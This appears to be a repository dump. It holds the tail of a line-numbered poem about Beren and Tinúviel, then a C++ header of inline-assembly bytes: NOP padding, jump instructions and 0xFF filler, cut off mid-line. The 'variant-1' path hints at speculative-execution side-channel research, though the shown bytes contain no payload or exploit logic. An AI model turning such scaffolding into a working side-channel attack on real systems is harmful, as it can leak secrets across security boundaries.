frosty heavens shivering. 41 | Her mantle glinted in the moon, 42 | As on a hilltop high and far 43 | She danced, and at her feet was strewn 44 | A mist of silver quivering. 45 | 46 | When winter passed, she came again, 47 | And her song released the sudden spring, 48 | Like rising lark, and falling rain, 49 | And melting water bubbling. 50 | He saw the elven-flowers spring 51 | About her feet, and healed again 52 | He longed by her to dance and sing 53 | Upon the grass untroubling. 54 | 55 | Again she fled, but swift he came. 56 | Tinúviel! Tinúviel! 57 | He called her by her elvish name, 58 | And there she halted listening. 59 | One moment stood she, and a spell 60 | His voice laid on her: Beren came, 61 | And doom fell on Tinúviel 62 | That in his arms lay glistening. 63 | 64 | As Beren looked into her eyes 65 | Within the shadows of her hair, 66 | The trembling starlight of the skies 67 | He saw there mirrored shimmering. 68 | Tinúviel the elven-fair, 69 | Immortal maiden elven-wise, 70 | About him cast her shadowy hair 71 | And arms like silver glimmering. 72 | 73 | Long was the way that fate them bore, 74 | O'er stony mountains cold and grey, 75 | Through halls of iron and darkling door, 76 | And woods of nightshade morrowless. 77 | The Sundering Seas between them lay, 78 | And yet at last they met once more, 79 | And long ago they passed away 80 | In the forest singing sorrowless. 81 | -------------------------------------------------------------------------------- /variant-1/stripes.hpp: -------------------------------------------------------------------------------- 1 | #define STRIPES_0 __asm(" \t\n\ 2 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 3 | .byte 0xE9, 0xec, 0x00, 0x00, 0x00 \t\n\ 4 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 5 | \t\n\ 6 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 7 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 8 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 9 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 10 | \t\n\ 11 | \t\n\ 12 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 13 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 14 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 15 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 16 | \t\n\ 17 | \t\n\ 18 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 19 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 20 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 21 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 22 | \t\n\ 23 | \t\n\ 24 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 25 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 26 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 27 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 28 | \t\n\ 29 | \t\n\ 30 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 31 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 32 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 33 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 34 | \t\n\ 35 | \t\n\ 36 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 37 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 38 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 39 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 40 | \t\n\ 41 | \t\n\ 42 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 43 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 44 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 45 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 46 | \t\n\ 47 | \t\n\ 48 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 49 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 50 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 51 | \t\n\ 52 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 53 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 54 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 55 | \t\n\ 56 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 57 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 58 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 59 | \t\n\ 60 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 61 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 62 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 63 | \t\n\ 64 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 65 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 66 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 67 | \t\n\ 68 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 69 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 70 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 71 | \t\n\ 72 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 73 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 74 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 75 | \t\n\ 76 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 77 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 78 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 79 | \t\n\ 80 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 81 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 82 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 83 | \t\n\ 84 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 85 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 86 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 87 | \t\n\ 88 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 89 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 90 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 91 | \t\n\ 92 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 93 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 94 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 95 | \t\n\ 96 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 97 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 98 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 99 | \t\n\ 100 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 101 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 102 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 103 | \t\n\ 104 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 105 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 106 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 107 | \t\n\ 108 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 109 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 110 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 111 | \t\n\ 112 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 113 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 114 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 115 | \t\n\ 116 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 117 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 118 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 119 | \t\n\ 120 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 121 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 122 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 123 | \t\n\ 124 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 125 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 126 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 127 | \t\n\ 128 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 129 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 130 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 131 | \t\n\ 132 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 133 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 134 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 135 | \t\n\ 136 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 137 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 138 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 139 | \t\n\ 140 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 141 | .byte 0xE9, 0x0c, 0x01, 0x00, 0x00 \t\n\ 142 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 143 | \t\n\ 144 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 145 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 146 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 147 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 148 | \t\n\ 149 | \t\n\ 150 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 151 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 152 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 153 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 154 | \t\n\ 155 | \t\n\ 156 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 157 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 158 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 159 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 160 | \t\n\ 161 | \t\n\ 162 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 163 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 164 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 165 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 166 | \t\n\ 167 | \t\n\ 168 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 169 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 170 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 171 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 172 | \t\n\ 173 | \t\n\ 174 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 175 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 176 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 177 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 178 | \t\n\ 179 | \t\n\ 180 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 181 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 182 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 183 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 184 | \t\n\ 185 | \t\n\ 186 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 187 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 188 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 189 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 190 | \t\n\ 191 | \t\n\ 192 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 193 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 194 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 195 | \t\n\ 196 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 197 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 198 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 199 | \t\n\ 200 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 201 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 202 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 203 | \t\n\ 204 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 205 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 206 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 207 | \t\n\ 208 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 209 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 210 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 211 | \t\n\ 212 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 213 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 214 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 215 | \t\n\ 216 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 217 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 218 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 219 | \t\n\ 220 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 221 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 222 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 223 | \t\n\ 224 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 225 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 226 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 227 | \t\n\ 228 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 229 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 230 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 231 | \t\n\ 232 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 233 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 234 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 235 | \t\n\ 236 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 237 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 238 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 239 | \t\n\ 240 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 241 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 242 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 243 | \t\n\ 244 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 245 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 246 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 247 | \t\n\ 248 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 249 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 250 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 251 | \t\n\ 252 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 253 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 254 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 255 | \t\n\ 256 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 257 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 258 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 259 | \t\n\ 260 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 261 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 262 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 263 | \t\n\ 264 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 265 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 266 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 267 | \t\n\ 268 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 269 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 270 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 271 | \t\n\ 272 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 273 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 274 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 275 | \t\n\ 276 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 277 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 278 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 279 | \t\n\ 280 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 281 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 282 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 283 | \t\n\ 284 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 285 | .byte 0xE9, 0x0c, 0x01, 0x00, 0x00 \t\n\ 286 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 287 | \t\n\ 288 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 289 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 